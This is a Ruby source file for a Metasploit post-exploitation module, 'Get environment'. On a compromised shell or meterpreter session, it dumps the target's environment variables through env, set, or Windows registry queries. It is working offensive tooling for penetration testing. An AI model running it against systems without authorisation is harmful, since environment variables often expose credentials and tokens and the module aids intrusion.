metasploit-framework/modules/post/multi/gather/env.rb

76 lines
1.9 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/registry'
class Metasploit3 < Msf::Post
include Post::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Get environment',
'Description' => %q{ Print out environment variables },
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],
'Version' => '$Revision$',
'Platform' => [ 'linux', 'windows' ],
'SessionTypes' => [ 'shell', 'meterpreter' ]
))
end
def run
case session.type
when "shell"
get_env_shell
when "meterpreter"
get_env_meterpreter
end
end
def get_env_shell
case session.platform
when /unix|linux|bsd|bsdi|aix|solaris/
output = session.shell_command_token("env")
when /windows/
output = session.shell_command_token("set")
else
# Don't know what it is, hope it's unix
if session.respond_to? :shell_command_token_unix
output = session.shell_command_token_unix("env")
end
end
print_line output if output
end
def get_env_meterpreter
case sysinfo["OS"]
when /windows/i
var_names = []
var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment")
var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment")
var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
var_names.flatten.each do |v|
print_line "#{v}=#{session.fs.file.expand_path("\%#{v}\%")}"
end
else
# Don't know what it is, hope it's unix
print_status sysinfo["OS"]
chan = session.sys.process.execute("/bin/sh", "-c env", {"Channelized" => true})
print_line chan.read
end
end
end